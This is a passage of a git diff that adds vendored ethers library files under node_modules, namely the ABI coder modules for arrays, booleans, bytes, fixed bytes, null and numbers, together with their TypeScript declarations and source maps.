if (coder.dynamic) { + // Get current dynamic offset (for the future pointer) + let dynamicOffset = dynamicWriter.length; + // Encode the dynamic value into the dynamicWriter + coder.encode(dynamicWriter, value); + // Prepare to populate the correct offset once we are done + let updateFunc = staticWriter.writeUpdatableValue(); + updateFuncs.push((baseOffset) => { + updateFunc(baseOffset + dynamicOffset); + }); + } + else { + coder.encode(staticWriter, value); + } + }); + // Backfill all the dynamic offsets, now that we know the static length + updateFuncs.forEach((func) => { func(staticWriter.length); }); + let length = writer.appendWriter(staticWriter); + length += writer.appendWriter(dynamicWriter); + return length; +} +exports.pack = pack; +/** + * @_ignore + */ +function unpack(reader, coders) { + let values = []; + let keys = []; + // A reader anchored to this base + let baseReader = reader.subReader(0); + coders.forEach((coder) => { + let value = null; + if (coder.dynamic) { + let offset = reader.readIndex(); + let offsetReader = baseReader.subReader(offset); + try { + value = coder.decode(offsetReader); + } + catch (error) { + // Cannot recover from this + if ((0, index_js_1.isError)(error, "BUFFER_OVERRUN")) { + throw error; + } + value = error; + value.baseType = coder.name; + value.name = coder.localName; + value.type = coder.type; + } + } + else { + try { + value = coder.decode(reader); + } + catch (error) { + // Cannot recover from this + if ((0, index_js_1.isError)(error, "BUFFER_OVERRUN")) { + throw error; + } + value = error; + value.baseType = coder.name; + value.name = coder.localName; + value.type = coder.type; + } + } + if (value == undefined) { + throw new Error("investigate"); + } + values.push(value); + keys.push(coder.localName || null); + }); + return abstract_coder_js_1.Result.fromItems(values, keys); +} +exports.unpack = unpack; +/** + * @_ignore + */ +class ArrayCoder extends abstract_coder_js_1.Coder { + coder; + length; + constructor(coder, length, localName) { + const type = (coder.type + "[" + (length >= 0 ? length : "") + "]"); + const dynamic = (length === -1 || coder.dynamic); + super("array", type, localName, dynamic); + (0, index_js_1.defineProperties)(this, { coder, length }); + } + defaultValue() { + // Verifies the child coder is valid (even if the array is dynamic or 0-length) + const defaultChild = this.coder.defaultValue(); + const result = []; + for (let i = 0; i < this.length; i++) { + result.push(defaultChild); + } + return result; + } + encode(writer, _value) { + const value = typed_js_1.Typed.dereference(_value, "array"); + if (!Array.isArray(value)) { + this._throwError("expected array value", value); + } + let count = this.length; + if (count === -1) { + count = value.length; + writer.writeValue(value.length); + } + (0, index_js_1.assertArgumentCount)(value.length, count, "coder array" + (this.localName ? (" " + this.localName) : "")); + let coders = []; + for (let i = 0; i < value.length; i++) { + coders.push(this.coder); + } + return pack(writer, coders, value); + } + decode(reader) { + let count = this.length; + if (count === -1) { + count = reader.readIndex(); + // Check that there is *roughly* enough data to ensure + // stray random data is not being read as a length. Each + // slot requires at least 32 bytes for their value (or 32 + // bytes as a link to the data). This could use a much + // tighter bound, but we are erroring on the side of safety. + (0, index_js_1.assert)(count * abstract_coder_js_1.WordSize <= reader.dataLength, "insufficient data length", "BUFFER_OVERRUN", { buffer: reader.bytes, offset: count * abstract_coder_js_1.WordSize, length: reader.dataLength }); + } + let coders = []; + for (let i = 0; i < count; i++) { + coders.push(new anonymous_js_1.AnonymousCoder(this.coder)); + } + return unpack(reader, coders); + } +} +exports.ArrayCoder = ArrayCoder; +//# sourceMappingURL=array.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/array.js.map b/node_modules/ethers/lib.commonjs/abi/coders/array.js.map new file mode 100644 index 000000000000..0f4a7871f8d4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/array.js.map @@ -0,0 +1 @@ +{"version":3,"file":"array.js","sourceRoot":"","s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CAAC,UAAU,EAAE,CAAC,CAAC;SACxG;QACD,IAAI,MAAM,GAAiB,EAAE,CAAC;QAC9B,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,EAAE,CAAC,EAAE,EAAE;YAAE,MAAM,CAAC,IAAI,CAAC,IAAI,6BAAc,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC;SAAE;QAEhF,OAAO,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IAClC,CAAC;CACJ;AA9DD,gCA8DC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/boolean.d.ts b/node_modules/ethers/lib.commonjs/abi/coders/boolean.d.ts new file mode 100644 index 000000000000..f073e37ee7c0 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/boolean.d.ts @@ -0,0 +1,13 @@ +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class BooleanCoder extends Coder { + constructor(localName: string); + defaultValue(): boolean; + encode(writer: Writer, _value: boolean | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=boolean.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/boolean.d.ts.map b/node_modules/ethers/lib.commonjs/abi/coders/boolean.d.ts.map new file mode 100644 index 000000000000..b1b5811eb035 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/boolean.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"boolean.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/boolean.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAE5C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAE1D;;GAEG;AACH,qBAAa,YAAa,SAAQ,KAAK;gBAEvB,SAAS,EAAE,MAAM;IAI7B,YAAY,IAAI,OAAO;IAIvB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,OAAO,GAAG,KAAK,GAAG,MAAM;IAKvD,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/boolean.js b/node_modules/ethers/lib.commonjs/abi/coders/boolean.js new file mode 100644 index 000000000000..bc8b507310f8 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/boolean.js @@ -0,0 +1,25 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.BooleanCoder = void 0; +const typed_js_1 = require("../typed.js"); +const abstract_coder_js_1 = require("./abstract-coder.js"); +/** + * @_ignore + */ +class BooleanCoder extends abstract_coder_js_1.Coder { + constructor(localName) { + super("bool", "bool", localName, false); + } + defaultValue() { + return false; + } + encode(writer, _value) { + const value = typed_js_1.Typed.dereference(_value, "bool"); + return writer.writeValue(value ? 1 : 0); + } + decode(reader) { + return !!reader.readValue(); + } +} +exports.BooleanCoder = BooleanCoder; +//# sourceMappingURL=boolean.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/boolean.js.map b/node_modules/ethers/lib.commonjs/abi/coders/boolean.js.map new file mode 100644 index 000000000000..4fe42916531d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/boolean.js.map @@ -0,0 +1 @@ +{"version":3,"file":"boolean.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/boolean.ts"],"names":[],"mappings":";;;AAAA,0CAAoC;AACpC,2DAA4C;AAI5C;;GAEG;AACH,MAAa,YAAa,SAAQ,yBAAK;IAEnC,YAAY,SAAiB;QACzB,KAAK,CAAC,MAAM,EAAE,MAAM,EAAE,SAAS,EAAE,KAAK,CAAC,CAAC;IAC5C,CAAC;IAED,YAAY;QACR,OAAO,KAAK,CAAC;IACjB,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,MAAuB;QAC1C,MAAM,KAAK,GAAG,gBAAK,CAAC,WAAW,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;QAChD,OAAO,MAAM,CAAC,UAAU,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAA,CAAC,CAAC,CAAC,CAAC,CAAC;IAC3C,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,CAAC,CAAC,MAAM,CAAC,SAAS,EAAE,CAAC;IAChC,CAAC;CACJ;AAlBD,oCAkBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/bytes.d.ts b/node_modules/ethers/lib.commonjs/abi/coders/bytes.d.ts new file mode 100644 index 000000000000..1e554582f474 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/bytes.d.ts @@ -0,0 +1,19 @@ +import { Coder } from "./abstract-coder.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class DynamicBytesCoder extends Coder { + constructor(type: string, localName: string); + defaultValue(): string; + encode(writer: Writer, value: any): number; + decode(reader: Reader): any; +} +/** + * @_ignore + */ +export declare class BytesCoder extends DynamicBytesCoder { + constructor(localName: string); + decode(reader: Reader): any; +} +//# sourceMappingURL=bytes.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/bytes.d.ts.map b/node_modules/ethers/lib.commonjs/abi/coders/bytes.d.ts.map new file mode 100644 index 000000000000..f169616717b5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/bytes.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"bytes.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/bytes.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAE5C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAG1D;;GAEG;AACH,qBAAa,iBAAkB,SAAQ,KAAK;gBAC5B,IAAI,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM;IAI3C,YAAY,IAAI,MAAM;IAItB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,GAAG,MAAM;IAO1C,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B;AAED;;GAEG;AACH,qBAAa,UAAW,SAAQ,iBAAiB;gBACjC,SAAS,EAAE,MAAM;IAI7B,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/bytes.js b/node_modules/ethers/lib.commonjs/abi/coders/bytes.js new file mode 100644 index 000000000000..0788ed622b2b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/bytes.js @@ -0,0 +1,39 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.BytesCoder = exports.DynamicBytesCoder = void 0; +const index_js_1 = require("../../utils/index.js"); +const abstract_coder_js_1 = require("./abstract-coder.js"); +/** + * @_ignore + */ +class DynamicBytesCoder extends abstract_coder_js_1.Coder { + constructor(type, localName) { + super(type, type, localName, true); + } + defaultValue() { + return "0x"; + } + encode(writer, value) { + value = (0, index_js_1.getBytesCopy)(value); + let length = writer.writeValue(value.length); + length += writer.writeBytes(value); + return length; + } + decode(reader) { + return reader.readBytes(reader.readIndex(), true); + } +} +exports.DynamicBytesCoder = DynamicBytesCoder; +/** + * @_ignore + */ +class BytesCoder extends DynamicBytesCoder { + constructor(localName) { + super("bytes", localName); + } + decode(reader) { + return (0, index_js_1.hexlify)(super.decode(reader)); + } +} +exports.BytesCoder = BytesCoder; +//# sourceMappingURL=bytes.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/bytes.js.map b/node_modules/ethers/lib.commonjs/abi/coders/bytes.js.map new file mode 100644 index 000000000000..21ce230070fc --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/bytes.js.map @@ -0,0 +1 @@ +{"version":3,"file":"bytes.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/bytes.ts"],"names":[],"mappings":";;;AAAA,mDAA6D;AAE7D,2DAA4C;AAK5C;;GAEG;AACH,MAAa,iBAAkB,SAAQ,yBAAK;IACxC,YAAY,IAAY,EAAE,SAAiB;QACxC,KAAK,CAAC,IAAI,EAAE,IAAI,EAAE,SAAS,EAAE,IAAI,CAAC,CAAC;IACtC,CAAC;IAED,YAAY;QACR,OAAO,IAAI,CAAC;IAChB,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,KAAU;QAC7B,KAAK,GAAG,IAAA,uBAAY,EAAC,KAAK,CAAC,CAAC;QAC5B,IAAI,MAAM,GAAG,MAAM,CAAC,UAAU,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC;QAC7C,MAAM,IAAI,MAAM,CAAC,UAAU,CAAC,KAAK,CAAC,CAAC;QACnC,OAAO,MAAM,CAAC;IAClB,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,MAAM,CAAC,SAAS,CAAC,MAAM,CAAC,SAAS,EAAE,EAAE,IAAI,CAAC,CAAC;IACtD,CAAC;CACJ;AAnBD,8CAmBC;AAED;;GAEG;AACH,MAAa,UAAW,SAAQ,iBAAiB;IAC7C,YAAY,SAAiB;QACzB,KAAK,CAAC,OAAO,EAAE,SAAS,CAAC,CAAC;IAC9B,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,IAAA,kBAAO,EAAC,KAAK,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC,CAAC;IACzC,CAAC;CACJ;AARD,gCAQC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/fixed-bytes.d.ts b/node_modules/ethers/lib.commonjs/abi/coders/fixed-bytes.d.ts new file mode 100644 index 000000000000..5c485fef6673 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/fixed-bytes.d.ts @@ -0,0 +1,15 @@ +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +import type { BytesLike } from "../../utils/index.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class FixedBytesCoder extends Coder { + readonly size: number; + constructor(size: number, localName: string); + defaultValue(): string; + encode(writer: Writer, _value: BytesLike | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=fixed-bytes.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/fixed-bytes.d.ts.map b/node_modules/ethers/lib.commonjs/abi/coders/fixed-bytes.d.ts.map new file mode 100644 index 000000000000..fcf0893d8ced --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/fixed-bytes.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"fixed-bytes.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/fixed-bytes.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAE5C,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,sBAAsB,CAAC;AAEtD,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAG1D;;GAEG;AACH,qBAAa,eAAgB,SAAQ,KAAK;IACtC,QAAQ,CAAC,IAAI,EAAG,MAAM,CAAC;gBAEX,IAAI,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM;IAM3C,YAAY,IAAI,MAAM;IAItB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,SAAS,GAAG,KAAK,GAAG,MAAM;IAMzD,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/fixed-bytes.js b/node_modules/ethers/lib.commonjs/abi/coders/fixed-bytes.js new file mode 100644 index 000000000000..120d748a2732 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/fixed-bytes.js @@ -0,0 +1,32 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.FixedBytesCoder = void 0; +const index_js_1 = require("../../utils/index.js"); +const typed_js_1 = require("../typed.js"); +const abstract_coder_js_1 = require("./abstract-coder.js"); +/** + * @_ignore + */ +class FixedBytesCoder extends abstract_coder_js_1.Coder { + size; + constructor(size, localName) { + let name = "bytes" + String(size); + super(name, name, localName, false); + (0, index_js_1.defineProperties)(this, { size }, { size: "number" }); + } + defaultValue() { + return ("0x0000000000000000000000000000000000000000000000000000000000000000").substring(0, 2 + this.size * 2); + } + encode(writer, _value) { + let data = (0, index_js_1.getBytesCopy)(typed_js_1.Typed.dereference(_value, this.type)); + if (data.length !== this.size) { + this._throwError("incorrect data length", _value); + } + return writer.writeBytes(data); + } + decode(reader) { + return (0, index_js_1.hexlify)(reader.readBytes(this.size)); + } +} +exports.FixedBytesCoder = FixedBytesCoder; +//# sourceMappingURL=fixed-bytes.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/fixed-bytes.js.map b/node_modules/ethers/lib.commonjs/abi/coders/fixed-bytes.js.map new file mode 100644 index 000000000000..8bde48f1315f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/fixed-bytes.js.map @@ -0,0 +1 @@ +{"version":3,"file":"fixed-bytes.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/fixed-bytes.ts"],"names":[],"mappings":";;;AACA,mDAA+E;AAE/E,0CAAoC;AACpC,2DAA4C;AAO5C;;GAEG;AACH,MAAa,eAAgB,SAAQ,yBAAK;IAC7B,IAAI,CAAU;IAEvB,YAAY,IAAY,EAAE,SAAiB;QACvC,IAAI,IAAI,GAAG,OAAO,GAAG,MAAM,CAAC,IAAI,CAAC,CAAC;QAClC,KAAK,CAAC,IAAI,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,CAAC,CAAC;QACpC,IAAA,2BAAgB,EAAkB,IAAI,EAAE,EAAE,IAAI,EAAE,EAAE,EAAE,IAAI,EAAE,QAAQ,EAAE,CAAC,CAAC;IAC1E,CAAC;IAED,YAAY;QACR,OAAO,CAAC,oEAAoE,CAAC,CAAC,SAAS,CAAC,CAAC,EAAE,CAAC,GAAG,IAAI,CAAC,IAAI,GAAG,CAAC,CAAC,CAAC;IAClH,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,MAAyB;QAC5C,IAAI,IAAI,GAAG,IAAA,uBAAY,EAAC,gBAAK,CAAC,WAAW,CAAC,MAAM,EAAE,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC;QAC9D,IAAI,IAAI,CAAC,MAAM,KAAK,IAAI,CAAC,IAAI,EAAE;YAAE,IAAI,CAAC,WAAW,CAAC,uBAAuB,EAAE,MAAM,CAAC,CAAC;SAAE;QACrF,OAAO,MAAM,CAAC,UAAU,CAAC,IAAI,CAAC,CAAC;IACnC,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,IAAA,kBAAO,EAAC,MAAM,CAAC,SAAS,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC;IAChD,CAAC;CACJ;AAtBD,0CAsBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/null.d.ts b/node_modules/ethers/lib.commonjs/abi/coders/null.d.ts new file mode 100644 index 000000000000..5df5da34257e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/null.d.ts @@ -0,0 +1,12 @@ +import { Coder } from "./abstract-coder.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class NullCoder extends Coder { + constructor(localName: string); + defaultValue(): null; + encode(writer: Writer, value: any): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=null.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/null.d.ts.map b/node_modules/ethers/lib.commonjs/abi/coders/null.d.ts.map new file mode 100644 index 000000000000..4c87b845506b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/null.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"null.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/null.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAC5C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAI1D;;GAEG;AACH,qBAAa,SAAU,SAAQ,KAAK;gBAEpB,SAAS,EAAE,MAAM;IAI7B,YAAY,IAAI,IAAI;IAIpB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,GAAG,MAAM;IAK1C,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAI9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/null.js b/node_modules/ethers/lib.commonjs/abi/coders/null.js new file mode 100644 index 000000000000..e9af0056fb44 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/null.js @@ -0,0 +1,28 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.NullCoder = void 0; +const abstract_coder_js_1 = require("./abstract-coder.js"); +const Empty = new Uint8Array([]); +/** + * @_ignore + */ +class NullCoder extends abstract_coder_js_1.Coder { + constructor(localName) { + super("null", "", localName, false); + } + defaultValue() { + return null; + } + encode(writer, value) { + if (value != null) { + this._throwError("not null", value); + } + return writer.writeBytes(Empty); + } + decode(reader) { + reader.readBytes(0); + return null; + } +} +exports.NullCoder = NullCoder; +//# sourceMappingURL=null.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/null.js.map b/node_modules/ethers/lib.commonjs/abi/coders/null.js.map new file mode 100644 index 000000000000..032ea2604340 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/null.js.map @@ -0,0 +1 @@ +{"version":3,"file":"null.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/null.ts"],"names":[],"mappings":";;;AAAA,2DAA4C;AAG5C,MAAM,KAAK,GAAG,IAAI,UAAU,CAAC,EAAG,CAAC,CAAC;AAElC;;GAEG;AACH,MAAa,SAAU,SAAQ,yBAAK;IAEhC,YAAY,SAAiB;QACzB,KAAK,CAAC,MAAM,EAAE,EAAE,EAAE,SAAS,EAAE,KAAK,CAAC,CAAC;IACxC,CAAC;IAED,YAAY;QACR,OAAO,IAAI,CAAC;IAChB,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,KAAU;QAC7B,IAAI,KAAK,IAAI,IAAI,EAAE;YAAE,IAAI,CAAC,WAAW,CAAC,UAAU,EAAE,KAAK,CAAC,CAAC;SAAE;QAC3D,OAAO,MAAM,CAAC,UAAU,CAAC,KAAK,CAAC,CAAC;IACpC,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,MAAM,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC;QACpB,OAAO,IAAI,CAAC;IAChB,CAAC;CACJ;AAnBD,8BAmBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/number.d.ts b/node_modules/ethers/lib.commonjs/abi/coders/number.d.ts new file mode 100644 index 000000000000..822cc6df2576 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/number.d.ts @@ -0,0 +1,16 @@ +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +import type { BigNumberish } from "../../utils/index.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class NumberCoder extends Coder { + readonly size: number; + readonly signed: boolean; + constructor(size: number, signed: boolean, localName: string); + defaultValue(): number; + encode(writer: Writer, _value: BigNumberish | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=number.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/number.d.ts.map b/node_modules/ethers/lib.commonjs/abi/coders/number.d.ts.map new file mode 100644 index 000000000000..a02820f643f4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/number.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"number.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/number.ts"],"names":[],"mappings":"AAIA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAY,MAAM,qBAAqB,CAAC;AAEtD,OAAO,KAAK,EAAE,YAAY,EAAE,MAAM,sBAAsB,CAAC;AAEzD,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAO1D;;GAEG;AACH,qBAAa,WAAY,SAAQ,KAAK;IAClC,QAAQ,CAAC,IAAI,EAAG,MAAM,CAAC;IACvB,QAAQ,CAAC,MAAM,EAAG,OAAO,CAAC;gBAEd,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,OAAO,EAAE,SAAS,EAAE,MAAM;IAO5D,YAAY,IAAI,MAAM;IAItB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,YAAY,GAAG,KAAK,GAAG,MAAM;IAkB5D,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAS9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/number.js b/node_modules/ethers/lib.commonjs/abi/coders/number.js new file mode 100644 index 000000000000..efce6f71141c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/number.js @@ -0,0 +1,49 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.NumberCoder = void 0; +const index_js_1 = require("../../utils/index.js"); +const typed_js_1 = require("../typed.js"); +const abstract_coder_js_1 = require("./abstract-coder.js"); +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +const BN_MAX_UINT256 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +/** + * @_ignore + */ +class NumberCoder extends abstract_coder_js_1.Coder { + size; + signed; + constructor(size, signed, localName) { + const name = ((signed ? "int" : "uint") + (size * 8)); + super(name, name, localName, false); + (0, index_js_1.defineProperties)(this, { size, signed }, { size: "number", signed: "boolean" }); + } + defaultValue() { + return 0; + } + encode(writer, _value) { + let value = (0, index_js_1.getBigInt)(typed_js_1.Typed.dereference(_value, this.type)); + // Check bounds are safe for encoding + let maxUintValue = (0, index_js_1.mask)(BN_MAX_UINT256, abstract_coder_js_1.WordSize * 8); + if (this.signed) { + let bounds = (0, index_js_1.mask)(maxUintValue, (this.size * 8) - 1); + if (value > bounds || value < -(bounds + BN_1)) { + this._throwError("value out-of-bounds", _value); + } + value = (0, index_js_1.toTwos)(value, 8 * abstract_coder_js_1.WordSize); + } + else if (value < BN_0 || value > (0, index_js_1.mask)(maxUintValue, this.size * 8)) { + this._throwError("value out-of-bounds", _value); + } + return writer.writeValue(value); + } + decode(reader) { + let value = (0, index_js_1.mask)(reader.readValue(), this.size * 8); + if (this.signed) { + value = (0, index_js_1.fromTwos)(value, this.size * 8); + } + return value; + } +} +exports.NumberCoder = NumberCoder; +//# sourceMappingURL=number.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/number.js.map b/node_modules/ethers/lib.commonjs/abi/coders/number.js.map new file mode 100644 index 000000000000..f0c9ee723aa0 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/number.js.map @@ -0,0 +1 @@ +{"version":3,"file":"number.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/number.ts"],"names":[],"mappings":";;;AAAA,mDAE8B;AAE9B,0CAAoC;AACpC,2DAAsD;AAOtD,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,cAAc,GAAG,MAAM,CAAC,oEAAoE,CAAC,CAAC;AAEpG;;GAEG;AACH,MAAa,WAAY,SAAQ,yBAAK;IACzB,IAAI,CAAU;IACd,MAAM,CAAW;IAE1B,YAAY,IAAY,EAAE,MAAe,EAAE,SAAiB;QACxD,MAAM,IAAI,GAAG,CAAC,CAA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AED,OAAO,MAAM,CAAC,UAAU,CAAC,KAAK,CAAC,CAAC;IACpC,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,IAAI,KAAK,GAAG,IAAA,eAAI,EAAC,MAAM,CAAC,SAAS,EAAE,EAAE,IAAI,CAAC,IAAI,GAAG,CAAC,CAAC,CAAC;QAEpD,IAAI,IAAI,CAAC,MAAM,EAAE;YACb,KAAK,GAAG,IAAA,mBAAQ,EAAC,KAAK,EAAE,IAAI,CAAC,IAAI,GAAG,CAAC,CAAC,CAAC;SAC1C;QAED,OAAO,KAAK,CAAC;IACjB,CAAC;CACJ;AA1CD,kCA0CC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/string.d.ts b/node_modules/ethers/lib.commonjs/abi/coders/string.d.ts new file mode 100644 index 000000000000..8e1c6359336f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/string.d.ts @@ -0,0 +1,13 @@ +import { Typed } from "../typed.js"; +import { DynamicBytesCoder } from "./bytes.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class StringCoder extends DynamicBytesCoder { + constructor(localName: string); + defaultValue(): string; + encode(writer: Writer, _value: string | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=string.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/string.d.ts.map b/node_modules/ethers/lib.commonjs/abi/coders/string.d.ts.map new file mode 100644 index 000000000000..8141f2ea3ae2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/string.d.ts.map @@ -0,0 +1 @@ 